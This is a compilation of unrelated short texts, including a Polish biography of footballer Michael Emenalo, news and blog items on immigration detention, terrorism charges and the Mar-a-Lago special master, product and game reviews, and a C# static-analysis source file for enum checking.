W 1996 roku Emenalo ponownie wyjechał do Stanów Zjednoczonych. Podpisał kontrakt z San Jose Clash, jednym z członków nowo powstałej profesjonalnej ligi Major League Soccer. Jego kolegą z zespołu był między innymi jego rodak i kolega z reprezentacji, Benedict Iroha. W całej lidze był drugim najbardziej karanym żółtymi kartkami piłkarzem – 13 w 29 meczach. Nie zdobył żadnego gola, ale zaliczył 2 asysty. Drużyna z San Jose awansowała do fazy play-off, jednak w pierwszej rundzie odpadła po meczach z późniejszymi finalistami, Los Angeles Galaxy. W 1997 roku Michael zagrał w 27 meczach San Jose i zdobył 1 gola, w wygranym w sierpniu 4:1 meczu z New England Revolution. Pomimo tego, zespół Clash był najsłabszym zespołem w całej lidze i nie awansował do fazy play-off.

W połowie sezonu 1997/1998 Emenalo został piłkarzem klubu Segunda División, UE Lleida. Z zespołem tym zajął 5. miejsce w lidze i nie udało się jemu i jego kolegom awansować do Primera División. Po sezonie Michael wyjechał do Izraela zostając w październiku 1998 zawodnikiem tamtejszego Maccabi Tel Awiw. Był członkiem pierwszej jedenastki i wystąpił w 22 meczach zespołu, we wszystkich od pierwszych minut. Z Maccabi wywalczył wicemistrzostwo Izraela, pomimo tego, że stołeczny zespół źle wystartował do sezonu. W sezonie 1999/2000 także był podstawowym zawodnikiem Maccabi, z którym zajął 6. pozycję w lidze. Wystąpił także w Pucharze UEFA, ale już w pierwszej rundzie izraelski zespół odpadł po dwumeczu z RC Lens. Po sezonie Emenalo odszedł z drużyny. Na początku 2001 roku trenował z zespołem MLS, Miami Fusion a potem z Columbus Crew, ale z żadnym z nich nie podpisał kontraktu, toteż zakończył piłkarską karierę.

Kariera reprezentacyjna
W reprezentacji Nigerii Emenalo zadebiutował 6 kwietnia 1985 roku w wygranym 3:0 meczu z Kenią, rozegranym w ramach kwalifikacji do MŚ w Meksyku. Zastąpił wówczas zawieszonych Stephena Keshi i Sundaya Eboigbe i zagrał we wszystkich czterech ostatnich meczach eliminacyjnych "Super Orłów".

W 1994 został Emenalo powołany przez selekcjonera Clemensa Westerhofa na finały MŚ w USA jako rezerwowy dla Keshiego. Tam jednak Keshi doznał kontuzji i Emenalo wskoczył na jego miejsce. Zagrał w 3 meczach swojej drużyny – w przegranym 1:2 z Argentyną, wygranym 2:0 z Grecją oraz przegranym w 1/8 finału 1:2 (po dogrywce) z Włochami.

Ogółem w pierwszej reprezentacji Nigerii Michael Emenalo zagrał w 14 meczach i nie zdobył żadnego gola.

Kariera trenerska
Po zakończeniu kariery piłkarskiej Emenalo został trenerem. Podobnie jak jego kolega z boiska, Samson Siasia trenował młodzieżowe drużyny w Atlancie.

Linki zewnętrzne
 Profil na stronie Nigerian Players

Absolwenci Uniwersytetu Bostońskiego
Reprezentanci Nigerii w piłce nożnej
Nigeryjscy trenerzy piłkarscy
Piłkarze Enugu Rangers
Piłkarze FC Brussels
Piłkarze Eintrachtu Trewir
Piłkarze Notts County F.C.
Piłkarze UE Lleida
Piłkarze Maccabi Tel Awiw
Uczestnicy Mistrzostw Świata w Piłce Nożnej 1994
Uczestnicy Pucharu Konfederacji w piłce nożnej 1995
Urodzeni w 1965
Ludzie urodzeni w Abie (Nigeria)

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We have written about this before. But it's pretty remarkable.
"In the past five years, Homeland Security officials have jailed record numbers of immigrants, driven by a little-known congressional directive known on Capitol Hill as the 'bed mandate.' The policy requires U.S. Immigration and Customs Enforcement (ICE) to keep an average of 34,000 detainees per day in its custody, a quota that has steadily risen since it was established in 2006 by conservative lawmakers who insisted that the agency wasn't doing enough to deport unlawful immigrants. But as illegal crossings from Mexico have fallen to near their lowest levels since the early 1970s, ICE has been meeting Congress's immigration detention goals by reaching deeper into the criminal justice system to vacuum up foreign-born, legal U.S. residents convicted of any crimes that could render them eligible for deportation. The agency also has greatly expanded the number of undocumented immigrants it takes into custody after traffic stops by local police...With federal spending on immigration detention and deportation reaching $2.8 billion a year, more than doubling since 2006, the mandate has met growing skepticism from budget hawks in both parties, particularly after DHS officials told Congress during the 'sequestration' debate in April that the agency could save money by lowering the bed mandate to 31,800 and relying on cheaper alternatives to jails. But House Republicans successfully pushed back, set the mandate at 34,000 detainees and ordered ICE officials to spend nearly $400 million more than they requested." WaPo.
Apparently, the whole thing is really due to the fact that Robert Byrd hated brown people. (You know how they are...all..brown.) Actually, there is another explanation. The prison-industrial complex makes a fortune out of running these "hotels" for their desperate guests.


The entry point of the Guitar Match is to the middle left of the bottom bar. This is the first stop of the signal flow in shaping your guitar input and matching it to another guitar's profile. If you want to engage this module, please remember to turn the flip switch to "ON".
And choose a pickup position to begin the profiling process.
In the profiling step, please follow the instructions on screen. Play an arpeggio in different positions on your guitar. If your input is successful, you'll see the dot of each string become solid. Repeat the process from open position to the 12th fret and the profiling step will be finished.
57' Goldtop Reissue 1995 Mahogany Rosewood Plain Maple top and Mahogany Back Pure P.A.F. - Pure P.A.F.


The European Union funds projects to improve public health, to prevent illness, and to eliminate threats to physical and mental health in European countries. To date, approximately 953 projects and actions, in conjunction with 7377 organisations across Europe, have been funded by its three multiannual health programmes. This database provides information on the nature of projects and their results. It is managed by the European Commission's Consumers, Health, Agriculture and Food Executive Agency (Chafea).


A foreign woman in her 30's has been charged with attempting to travel to Syria to join IS, and has been incarcerated for four weeks in prison.
During incarceration, the woman has been issued a mail and visitation ban, VG reports.
The woman was first arrested in Italy before being handed over to Norway. On Tuesday she was arrested by the Police Security Service (PST) at Gardermoen.
The woman is charged with trying to travel to Syria to join IS. PST believes the woman was on her way to Syria to meet a foreign soldier she is in a relationship with.
– She is charged with attempting to participate with a terrorist organization – IS, confirms police adviser Per Niklas Hafsmoe from PST to the newspaper.
"There has been a long going investigation of her. It started after we received a court request from England," the police attorney said.
The woman is being defended by lawyer Mona Danielsen from the Storrvik Advokatfirma.
– "She denies guilt. Apart from that, I can not comment on the matter," said Danielsen.
The woman is not a Norwegian citizen, as it was first reported, but has previously applied for asylum in Norway. After what VG knows, she is a Somali citizen who immigrated to Norway in 2013 and has had a temporary residence permit.
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5. Fire Safety - timber beams offer fuel to some fire in your property. With enough wood found in common areas throughout your home, a fire may propagate with frightening speed. . Wood framed houses are flame blocked to keep the flame from traveling. Many fires cannot spread quickly enough to burn down houses. However, this calculation has been dramatically altered by the existence of big chunks of timber.


I got this game/adventure for my eight year old Granddaughter to play, not completely knowing what it was. She plays Minecraft now like a pro and loves games that let her build worlds and wander through them. I thought this would probably be too young for her and she would get tired of it fairly quickly but boy was I surprised! This is one of the nicest planned games I've seen and has captivated her for hours and hours now. She has played it now for a week or so and it still is amazing! The play portion is fun for younger kids but the older kids just LOVE finding what combinations yield the different buildings. In all the time my Granddaughter has been playing, she still has twenty or so buildings that she hasn't discovered. Once you discover the different buildings, discovery of what's inside is so much fun. Also, the train and track layouts are so much fun to play with. I really enjoy watching the planning of her towns. Deciding where to put the trains, the roads, the bus stations, electrical systems and just all the rest of the infrastructure is such thinking game too, I just love it. And then... turn on the night mode and see it all at night, it's wonderful. Thank you to the developers of this game, it's been such a fun time playing and planning. I can see the wheels turning in her head when she plays it and the questions she asks are truly revealing as what she is planning. It's been really great.
I like the app because you can have free play.


I've always wanted to try one of those subscription box things but none seemed quite right for me, then I found IndieGiftBox. They are a monthly subscription service that delivers handmade products instead of big name brands. Perfect! Great value and no commitment (I bought one box, rather than a subscription), what's not to love? Here's my 'unboxing' of the May "Sparkle & Shine" box!
Wrapped in turquoise and sparkles, the box arrived on my doorstep. I avoided looking at the product list at first (didn't want any spoilers!) You're about to get all the spoilers so if you'd rather be surprised, head over and get your box!
My favorite thing in the haul was these turquoise diamond shaped studs from Plastique. They are so cute, I've been wearing them with everything!
Next was this pretty sparkly nail polish from Gothic Gala Lacquer. It's a bit sheer so I needed two coats, but I bet it'd be really cool layered over a similar color.
This lip tint from Tulips Apothecary says it's 'POPS champagne' scented. I guess that means coke-a-cola, cause that's all I smell. Reminds me of summers as a tween in the 90s.
Last but not least was the mystery contributor. It turned out to be two nice bracelets from Duchessa. They are very pretty and look nice worn together.
If you like what you saw you can reserve yours NOW by subscribing on a monthly, 3-month, 6-month or annual basis. For those who opt not to subscribe, you can grab yourself one of these shimmering beauties on a first-come. (I might just be doing that again...hehe) Check out the details below.
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The best of Southern tradition combines with an easygoing floor plan to make this home a sure neighborhood favorite.
warmed family room. In the very back, the kitchen is amplified by a gorgeous vaulted sunroom featuring two walls of windows to let in light.
The second floor is home to a deluxe master suite as well as two family bedrooms that share a bath.
A utility room is conveniently located upstairs as well. Future space is available for expansion over the garage.


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CalTrout News
Trout Clout: Public Lands Act December 2020 Update
Trout Clout: Public Lands Act Update – December 2020
Thank you to all our members and outdoor and angling industry supporters who signed our letters to Congress and urged them to protect our public lands. Despite our efforts, the Public Lands Act did not pass. We remain hopeful that with a new administration, we can pass Public Lands Act protections in the new year.
In February 2020, the House version of the Public Lands Act was incorporated and passed into the Protecting America's Wilderness Act (PAWA; H.R. 2546) and later amended into the William M. Thornberry National Defense Authorization Act for Fiscal Year 2021 (NDAA; H.R. 6395) by H. Amdt. 837.
In 2020, the House was an easier chamber to pass through environmental protections, and CalTrout now had to focus on getting the Public Lands Act protections through a difficult Senate.
In an attempt to move forward with the bill on the Senate side, CalTrout and our partners pushed to include operative language in the Senate National Defense Authorization Act (NDAA).
"For 59 straight years, the NDAA has passed because Members of Congress and Presidents of both parties have set aside their own policy objectives and partisan preferences and put the needs of our military personnel and America's security first," said House Armed Services Chair Adam Smith and ranking Republican Mac Thornberry.
Unfortunately, the Senate bill introduced by Senator Harris and Senator Feinstein was stalled. Below is the final letter we sent to Senator Dianne Feinstein, Senator Kamala Harris, The US. Senate Armed Services Committee and the US House Armed Services Committee.
Special thanks to the outdoor and angling industry leaders that supported our efforts to pass the Public Lands Act and to our CalTrout supporters who helped fuel our voices in Congress.
PLA Support Letter Angling Industry (Sen. Harris & Feinstein) signed


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Artists > Peter Kemble
Heliarc
It Is Not So, Nor Was It So
Scent of Rain
Assay of Gold
Wikiup
Night & Fog
Oyez Oyez
Contata for Prairie Dog
Blue Dog
Truthiness
What Does a Brick
Whitsun
Bumbershoot
Slip Sliddin' Away
Pushcart of Desire
Histricomorph Hystricidae
Proboscis with Pink Hanky
Swizzle
Once a Big Wheel
Eggemoggin Parabola
digital print on archival paper, edition of 4
Entering Sienna
Kettle Exits Stage Left
Big View
Humpty et Fils
Dermatome
Waiting for Li Si
Peter Kemble was a New England graphic designer and digital printmaker with a strong interest in architecture. He was born in New York City and grew up in Bedford, NY. He graduated from Trinity College and Harvard Graduate School of Design, and also attended Rhode Island School of Design and took workshops at Haystack Mountain School of Crafts. He worked for architectural firms in Boston and Cambridge, taught at the Boston Architectural Center, and participated in juries of student work at RISD, SUNY Purchase, MIT, and the Massachusetts College of Art. He headed his Cambridge graphic design firm, Designs & Devices, from 1969 to 2005.
"During the later years of his career, Mr. Kemble focused his artistic talent on digital printmaking while indulging his verbal pyrotechnics in the titles he gave to each of his prints. His digital print work was recognized in single-person and juried shows at Deerfield Academy in Deerfield, Mass., The Turtle Gallery in Deer Isle, Maine where he owned a summer home, and at the A3 Gallery in Amherst, Mass." - published obituary
Through his lifelong interest in art, architecture, and design he developed an insightful humor and unique graphic talent. He used color, form, transparency, and three-dimensionality in drawings and prints which play, surprise, and mystify.
Kemble died on June 15, 2019 in Greenfield, Mass. at age 80.
To view a video about Peter click here>>


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Saturday morning treat yourself & your family, by going to the downtown Nashville Farmer's Market on Rosa Parks Blvd. As many other farmer's markets across the country have done, our downtown market has been going through a wonderful transformation over the past few seasons. Artisan cheeses, local organic milk & eggs, fresh-baked goods, meats with no additives, hand-crafted all-natural soaps & fresh garden flowers are sold along with produce vendors selling local strawberries, greens, beets & local honey & jams. The market is a destination place for anyone who loves good, locally produced foods & a lively market environment. The prices are good, the quality fantastic & no piped in Muzak!
Fresh carrots for savories or sweets.
Pink is good, very good with cold, fresh milk.
JD's has lots of milks & heavy cream to die for...and Kenny's cheeses.
Get there early as JD's sells out fast...great product, fantastic prices.
Seeded Five Grain Bread, Homemade Granolas & Muffins.
Noble Springs Goat Cheeses go great with good bread.
Provence breads at the Market.
I love this bread smeared with goat cheese & honey!
A juicy locally grown strawberry is a fleeting thing...enjoy them now.
The first South Carolina Peaches have arrived!
Fresh flowers....Hollyhocks, cosmos & wild flowers.
The market has tables full of homemade pies.
These folks has Garlic Scapes.
Dozen, a Nashville Sweet Shop.
The first local tomatoes are slowly arriving. Better (Boy) Hurry!
Dried Beans galore…great cooked, chilled & used in a summer salad.
Some folks like their beans cooked with a few ham pieces, hot, summer or winter!
New Gardeners or Seasoned Gardeners find berry plants that will thrive in our region.
And there are lots of fresh herb plants.
Flowering plants for gardens or pots.
Dirty after all that planting? Hope Garden Soap's will get you clean.
A wonderful charcoal based soap that is great for dirty hands.
Going to Bonnaroo? Take along a bar of handcrafted Patchouli Soap.
Market morning, gardening afternoon? Chill out with some cheese & chilled vino.
Barely Buzzed? Have another glass of wine.
Maybe a Sunday Brunch Bloody Mary?
All imagery is from last Saturday and Sunday visits to the Nashville Farmer's Market.
There are many other markets in our area as well as pick your own farms.
Support your local farmers, gardeners & handcrafted foods folks.
such a lovely photo essay of our downtown market, which has grown is great ways over the years. it's a treasure.
I love fresh milk in a bottle more than almost anything. Except maybe cheese. But it's a tie. Have you tried mixing honey, olive oil and lemon together and drizzling it over fresh cheese (like ricotta or queso fresco or ricotta salata?) Or just using it as salad dressing? Or for dipping bread?
No Nancy I have not done that delicious sounding but simple "dressing" for fresh cheeses, but will do so this weekend and let you know how I like it. It sounds very delicious…and I do love ricotta salata…and dipping bread. Thanks for the tip.


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using System;
using System.Collections.Generic;
using Microsoft.Research.AbstractDomains;
using System.Diagnostics.Contracts;
using Microsoft.Research.DataStructures;

namespace Microsoft.Research.CodeAnalysis
{
  public static partial class AnalysisWrapper
  {
    /// <summary>
    /// Entry point to run the Enum analysis
    /// </summary>
    public static IMethodResult<Variable> RunEnumAnalysis<Local, Parameter, Method, Field, Property, Event, Type, Attribute, Assembly, Expression, Variable>
    (
      string methodName,
      IMethodDriver<Local, Parameter, Method, Field, Property, Event, Type, Attribute, Assembly, Expression, Variable, ILogOptions> driver,
      List<Analyzers.Enum.Options> options,
      Predicate<APC> cachePCs, DFAController controller
    )
      where Variable : IEquatable<Variable>
      where Expression : IEquatable<Expression>
      where Type : IEquatable<Type>
    {
      Contract.Requires(driver != null);
      Contract.Requires(options != null);
      Contract.Requires(options.Count > 0);

      var analysis =
       new TypeBindings<Local, Parameter, Method, Field, Property, Event, Type, Attribute, Assembly, Expression, Variable>.EnumAnalysis
         (methodName, driver, options[0], cachePCs);

      return TypeBindings<Local, Parameter, Method, Field, Property, Event, Type, Attribute, Assembly, Expression, Variable>.RunTheAnalysis(methodName, driver, analysis, controller);
    }

    /// <summary>
    /// This class is just for binding types for the internal clases
    /// </summary>
    public static partial class TypeBindings<Local, Parameter, Method, Field, Property, Event, Type, Attribute, Assembly, Expression, Variable>
      where Variable : IEquatable<Variable>
      where Expression : IEquatable<Expression>
      where Type : IEquatable<Type>
    {
      public class EnumAnalysis :
        GenericValueAnalysis<EnumDefined<BoxedVariable<Variable>, Type, BoxedExpression>, IValueAnalysisOptions>
      {

        #region Private state
        [ContractInvariantMethod]
        void ObjectInvariant()
        {
          Contract.Invariant(this.lastTypeForGetTypeFromHandle != null);
        }

        private Dictionary<Variable, Type> lastTypeForGetTypeFromHandle = new Dictionary<Variable,Type>();
        protected void RenameTypes(Dictionary<BoxedVariable<Variable>, FList<BoxedVariable<Variable>>> sourceTargetMap)
        {
          Contract.Requires(sourceTargetMap != null);

          Contract.Ensures((this.lastTypeForGetTypeFromHandle != null) == (Contract.OldValue(this.lastTypeForGetTypeFromHandle) != null));

          if (this.lastTypeForGetTypeFromHandle != null)
          {
            var newMap = new Dictionary<Variable, Type>();

            foreach (var pair in this.lastTypeForGetTypeFromHandle)
            {
              var bKey = new BoxedVariable<Variable>(pair.Key);
              FList<BoxedVariable<Variable>> renamings;
              if (sourceTargetMap.TryGetValue(bKey, out renamings))
              {
                foreach (var newName in renamings.GetEnumerable())
                {
                  Variable v;
                  if (newName.TryUnpackVariable(out v))
                  {
                    newMap[v] = pair.Value;
                  }
                }
              }
            }

            this.lastTypeForGetTypeFromHandle = newMap;
          }
        }

        #endregion

        public EnumAnalysis(
          string methodName,
          IMethodDriver<Local, Parameter, Method, Field, Property, Event, Type, Attribute, Assembly, Expression, Variable, ILogOptions> driver,
          Analyzers.Enum.Options options,
          Predicate<APC> cachePCs
        )
          : base(methodName, driver, options, cachePCs)
        {
        }

        public override IFactQuery<BoxedExpression, Variable> FactQuery(IFixpointInfo<APC, EnumDefined<BoxedVariable<Variable>, Type, BoxedExpression>> fixpoint)
        {
          return new EnumFactQuery(this, fixpoint);
        }

        #region Transfer functions

        public EnumDefined<BoxedVariable<Variable>, Type, BoxedExpression> Rename(EnumDefined<BoxedVariable<Variable>, Type, BoxedExpression> state, Dictionary<BoxedVariable<Variable>, FList<BoxedVariable<Variable>>> refinedMap)
        {
          RenameTypes(refinedMap);

          return state.Rename(refinedMap);
        }

        public override EnumDefined<BoxedVariable<Variable>, Type, BoxedExpression> HelperForAssignInParallel(
          EnumDefined<BoxedVariable<Variable>, Type, BoxedExpression> state, Pair<APC, APC> edge,
          Dictionary<BoxedVariable<Variable>, FList<BoxedVariable<Variable>>> refinedMap, Converter<BoxedVariable<Variable>, BoxedExpression> convert)
        {
          return Rename(state, refinedMap);
        }

        public override EnumDefined<BoxedVariable<Variable>, Type, BoxedExpression> Entry(APC pc, Method method, EnumDefined<BoxedVariable<Variable>, Type, BoxedExpression> data)
        {
          foreach (var param in this.DecoderForMetaData.Parameters(method).Enumerate())
          {
            Variable symb;
            if (this.Context.ValueContext.TryParameterValue(Context.MethodContext.CFG.Post(pc), param, out symb))
            {
              var typeForParam = this.Context.ValueContext.GetType(Context.MethodContext.CFG.Post(pc), symb);
              if (typeForParam.IsNormal && this.DecoderForMetaData.IsEnumWithoutFlagAttribute(typeForParam.Value))
              {
                data = data.AssumeCondition(typeForParam.Value, ToBoxedVariable(symb));
              }
            }
          }

          return data;
        }

        public override EnumDefined<BoxedVariable<Variable>, Type, BoxedExpression>
          Assume(APC pc, string tag, Variable source, object provenance, EnumDefined<BoxedVariable<Variable>, Type, BoxedExpression> data)
        {
          if (tag != "false")
          {
            return data.AssumeCondition(ToBoxedVariable(source));
          }
          else
          {
            // try to see if it is sv == 0
            var bExp = ToBoxedExpression(pc, source);
            BoxedExpression left;
            int k;
            Variable underlying;
            if (bExp.IsCheckExp1EqConst(out left, out k) && k == 0 && left.TryGetFrameworkVariable(out underlying))
            {
              return data.AssumeCondition(ToBoxedVariable(underlying));
            }

            return data;
          }
        }

        public override EnumDefined<BoxedVariable<Variable>, Type, BoxedExpression>
          Assert(APC pc, string tag, Variable condition, object provenance, EnumDefined<BoxedVariable<Variable>, Type, BoxedExpression> data)
        {
          return data.AssumeCondition(ToBoxedVariable(condition));
        }

        public override EnumDefined<BoxedVariable<Variable>, Type, BoxedExpression> Call<TypeList, ArgList>(APC pc, Method method,
          bool tail, bool virt, TypeList extraVarargs, Variable dest, ArgList args, EnumDefined<BoxedVariable<Variable>, Type, BoxedExpression> data)
        {
          var methodname = this.DecoderForMetaData.Name(method);
          var nsName = this.DecoderForMetaData.Namespace(this.DecoderForMetaData.DeclaringType(method));
          Type type;

          if (nsName != null && methodname != null
            && nsName.Equals("System") && methodname.Equals("GetTypeFromHandle"))
          {
            Type runtimeType;
            if (Context.ValueContext.IsRuntimeType(this.Context.MethodContext.CFG.Post(pc), dest, out runtimeType))  // Get the type
            {
              this.lastTypeForGetTypeFromHandle[dest] = runtimeType;
            }

            return data;
          }

          if (args.Count == 2 && methodname == "IsDefined" && this.lastTypeForGetTypeFromHandle.TryGetValue(args[0], out type))
          {
            data = data.AssumeTypeIff(ToBoxedVariable(dest), type, ToBoxedVariable(args[1]));

            Variable unboxed;
            if (this.Context.ValueContext.TryUnbox(pc, args[1], out unboxed))
            {
              data = data.AssumeTypeIff(ToBoxedVariable(dest), type, ToBoxedVariable(unboxed));
            }

            return data;
          }

          var destType = this.Context.ValueContext.GetType(this.MethodDriver.CFG.Post(pc), dest);
          if (destType.IsNormal && this.DecoderForMetaData.IsEnumWithoutFlagAttribute(destType.Value))
          {
            data = data.AssumeCondition(destType.Value, ToBoxedVariable(dest));
          }
          return data;
        }

        public override EnumDefined<BoxedVariable<Variable>, Type, BoxedExpression> Ldelem(APC pc, Type type, Variable dest, Variable array, Variable index, EnumDefined<BoxedVariable<Variable>, Type, BoxedExpression> data)
        {
          var arrayType = this.Context.ValueContext.GetType(pc, array);
          if (arrayType.IsNormal && this.DecoderForMetaData.IsArray(arrayType.Value))
          {
            return AssumeIfEnumType(this.DecoderForMetaData.ElementType(arrayType.Value), dest, data);
          }

          return data;
        }

        public override EnumDefined<BoxedVariable<Variable>, Type, BoxedExpression> Ldarg(APC pc, Parameter argument, bool isOld, Variable dest, EnumDefined<BoxedVariable<Variable>, Type, BoxedExpression> data)
        {
          return AssumeIfEnumType(pc, dest, data);
        }

        public override EnumDefined<BoxedVariable<Variable>, Type, BoxedExpression> Ldind(APC pc, Type type, bool @volatile, Variable dest, Variable ptr, EnumDefined<BoxedVariable<Variable>, Type, BoxedExpression> data)
        {
          return AssumeIfEnumType(pc, dest, data);
        }

        public override EnumDefined<BoxedVariable<Variable>, Type, BoxedExpression> Ldloc(APC pc, Local local, Variable dest, EnumDefined<BoxedVariable<Variable>, Type, BoxedExpression> data)
        {
          return AssumeIfEnumType(pc, dest, data);
        }

        public override EnumDefined<BoxedVariable<Variable>, Type, BoxedExpression> Ldfld(APC pc, Field field, bool @volatile, Variable dest, Variable obj, EnumDefined<BoxedVariable<Variable>, Type, BoxedExpression> data)
        {
          return AssumeIfEnumType(pc, dest, data);
        }

        #endregion

        #region Helper methods

         private EnumDefined<BoxedVariable<Variable>, Type, BoxedExpression> AssumeIfEnumType(APC pc, Variable dest, EnumDefined<BoxedVariable<Variable>, Type, BoxedExpression> data)
        {
          var type = this.Context.ValueContext.GetType(pc.Post(), dest);
          if (type.IsNormal)
          {
            return this.AssumeIfEnumType(type.Value, dest, data);
          }

          return data;
        }

        private EnumDefined<BoxedVariable<Variable>, Type, BoxedExpression> AssumeIfEnumType(Type type, Variable v, EnumDefined<BoxedVariable<Variable>, Type, BoxedExpression> data)
        {
          if (this.DecoderForMetaData.IsEnumWithoutFlagAttribute(type))
          {
            return data.AssumeCondition(type, ToBoxedVariable(v));
          }
          return data;
        }

        #endregion

        #region Implementation of the abstract methods
        public override EnumDefined<BoxedVariable<Variable>, Type, BoxedExpression> GetTopValue()
        {
          return EnumDefined<BoxedVariable<Variable>, Type, BoxedExpression>.Unknown;
        }

        public override bool SuggestAnalysisSpecificPostconditions(
          ContractInferenceManager inferenceManager,
          IFixpointInfo<APC, EnumDefined<BoxedVariable<Variable>, Type, BoxedExpression>> fixpointInfo,
          List<BoxedExpression> postconditions)
        {
          return false;
        }

        public override bool TrySuggestPostconditionForOutParameters(IFixpointInfo<APC, EnumDefined<BoxedVariable<Variable>, Type, BoxedExpression>> fixpointInfo, List<BoxedExpression> postconditions, Variable p, FList<PathElement> path)
        {
          return false;
        }
        #endregion

        #region EnumFactQuery

        [ContractVerification(true)]
        class EnumFactQuery : IFactQuery<BoxedExpression, Variable>
        {
          [ContractInvariantMethod]
          void ObjectInvariant()
          {
            Contract.Invariant(this.analysis != null);
          }

          private readonly EnumAnalysis analysis;
          private IFixpointInfo<APC, EnumDefined<BoxedVariable<Variable>, Type, BoxedExpression>> fixpoint;

          public EnumFactQuery(EnumAnalysis analysis, IFixpointInfo<APC, EnumDefined<BoxedVariable<Variable>, Type, BoxedExpression>> fixpoint)
          {
            Contract.Requires(analysis != null);

            this.analysis = analysis;
            this.fixpoint = fixpoint;
          }

          #region IFactQuery<Expression,Variable> Members

          public ProofOutcome IsNull(APC pc, BoxedExpression expr)
          {
            return ProofOutcome.Top;
          }

          public ProofOutcome IsNonNull(APC pc, BoxedExpression expr)
          {
            return ProofOutcome.Top;
          }

          public ProofOutcome IsTrue(APC pc, BoxedExpression condition)
          {
            return ProofOutcome.Top;
          }

          public ProofOutcome IsTrue(APC pc, Question question)
          {
            return ProofOutcome.Top;
          }

          public ProofOutcome IsTrueImply(APC pc, FList<BoxedExpression> posAssumptions, FList<BoxedExpression> negAssumptions, BoxedExpression goal)
          {
            return ProofOutcome.Top;
          }

          public ProofOutcome IsGreaterEqualToZero(APC pc, BoxedExpression expr)
          {
            return ProofOutcome.Top;
          }

          public ProofOutcome IsLessThan(APC pc, BoxedExpression left, BoxedExpression right)
          {
            return ProofOutcome.Top;
          }

          public ProofOutcome IsNonZero(APC pc, BoxedExpression condition)
          {
            return ProofOutcome.Top;
          }

          public ProofOutcome HaveSameFloatType(APC pc, BoxedExpression left, BoxedExpression right)
          {
            return ProofOutcome.Top;
          }

          public bool TryGetFloatType(APC pc, BoxedExpression exp, out ConcreteFloat type)
          {
            type = default(ConcreteFloat);
            return false;
          }

          public IEnumerable<Variable> LowerBounds(APC pc, BoxedExpression exp, bool strict)
          {
            yield break;
          }

          public IEnumerable<Variable> UpperBounds(APC pc, BoxedExpression exp, bool strict)
          {
            yield break;
          }

          public IEnumerable<BoxedExpression> LowerBoundsAsExpressions(APC pc, BoxedExpression exp, bool strict)
          {
            yield break;
          }

          public IEnumerable<BoxedExpression> UpperBoundsAsExpressions(APC pc, BoxedExpression exp, bool strict)
          {
            yield break;
          }

          public Pair<long, long> BoundsFor(APC pc, BoxedExpression exp)
          {
            return new Pair<long, long>(Int64.MinValue, Int64.MaxValue);
          }

          public ProofOutcome IsVariableDefinedForType(APC pc, Variable v, object typeAsObject)
          {
            if (!(typeAsObject is Type))
            {
              return ProofOutcome.Top;
            }

            var type = (Type)typeAsObject;

            ProofOutcome outcome;
            EnumDefined<BoxedVariable<Variable>, Type, BoxedExpression> preState;
            if (this.fixpoint.PreState(pc, out preState) &&
              ((outcome = preState.CheckIfVariableIsDefined(new BoxedVariable<Variable>(v), type).ToProofOutcome()) != ProofOutcome.Top))
            {
              return outcome;
            }

            var varType = this.analysis.Context.ValueContext.GetType(this.analysis.MethodDriver.CFG.Post(pc), v);
            if (varType.IsNormal && varType.Value.Equals(type))
            {
              return ProofOutcome.True;
            }

            return ProofOutcome.Top;
          }

          public FList<BoxedExpression> InvariantAt(APC pc, FList<Variable> filterVariables, bool replaceVarsWithAccessPaths=true)
          {
            return FList<BoxedExpression>.Empty;
          }

          #endregion

          #region IFactBase<Variable> Members

          public ProofOutcome IsNull(APC pc, Variable value)
          {
            return ProofOutcome.Top;
          }

          public ProofOutcome IsNonNull(APC pc, Variable value)
          {
            return ProofOutcome.Top;
          }

          public bool IsUnreachable(APC pc)
          {
            return false;
          }

          #endregion
        }

        #endregion
      }

    }
  }
}


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Judge Signals Intent to Back Trump's Request for Mar-a-Lago Special Master
By Eva Fu and Roman Balmakov August 27, 2022
A federal judge on Aug. 27 announced a preliminary intent to appoint a neutral third party to review documents the FBI seized in a raid on former President Donald Trump's Florida home, citing "exceptional circumstances."
The order was a response to a request from Trump's legal team filed days earlier, seeking to have a "special master"—usually a retired lawyer or judge—independently examine the records and filter out privileged information before the government can review them.
Aileen M. Cannon, U.S. district judge for the Southern District of Florida, said that she decided to give Trump a chance to make his case after reviewing Trump's submissions and the "exceptional circumstances presented."
"Pursuant to Rule 53(b) (1) of the Federal Rules of Civil Procedure and the Court's inherent authority, and without prejudice to the parties' objections, the Court hereby provides notice of its preliminary intent to appoint a special master in this case," Cannon, a Trump appointee, wrote in a Saturday afternoon filing.
The FBI agents during the raid took more than two dozen boxes and 11 sets of documents with various levels of classified markings, according to a property receipt unsealed on Aug. 12. Most items have generic descriptions, such as "Box labeled A-1" and "Miscellaneous Secret Document."
Cannon's two-page order came a day after Trump's lawyers filed another motion renewing the plea for outside supervision of the Mar-a-Lago trove, after an affidavit justifying the FBI raid was made public in a heavily redacted form.
"The Redacted Affidavit underscores why this Motion should be granted, as it provides almost no information that would allow Movant to understand why the raid took place, or what was taken from his home," Trump's lawyers said in a filing to Cannon. "The few lines that are unredacted raise more questions than answers."
Trump noted the judge's move in a post on his social media platform Truth Social, saying that the FBI raid was politically motivated.
"Federal Judge in Florida just took over the Presidential Records Act case, including the unprecedented, unnecessary, and unannounced FBI/DOJ Raid (Break-In!) of my home, Mar-a-Lago," he wrote. "This assault was done for political purposes just prior to the Midterm Elections (and 2024, of course!). It is a disgrace to our now Third World Nation!"
Donald Trump arrives at Trump Tower in New York on Aug. 9, 2022, the day after FBI agents raided his Mar-a-Lago Palm Beach home in Florida. (David 'Dee' Delgado/Reuters)
A hearing will take place on Sept. 1 at 1 p.m. in West Palm Beach in Florida. The Justice Department has until Aug. 30 to file a response to Trump's request. Cannon also directed the Justice Department to provide a "more detailed" list of properties seized from Mar-a-Lago on Aug. 8 and the status of the government's review of the items. This includes the use of a "filter team" to separate privileged materials and "any dissemination of materials beyond the privilege review team."
Cannon has also asked both Trump and the Justice Department to describe their vision for the roles of a special master.
The Epoch Times has reached out to the Justice Department for comments.
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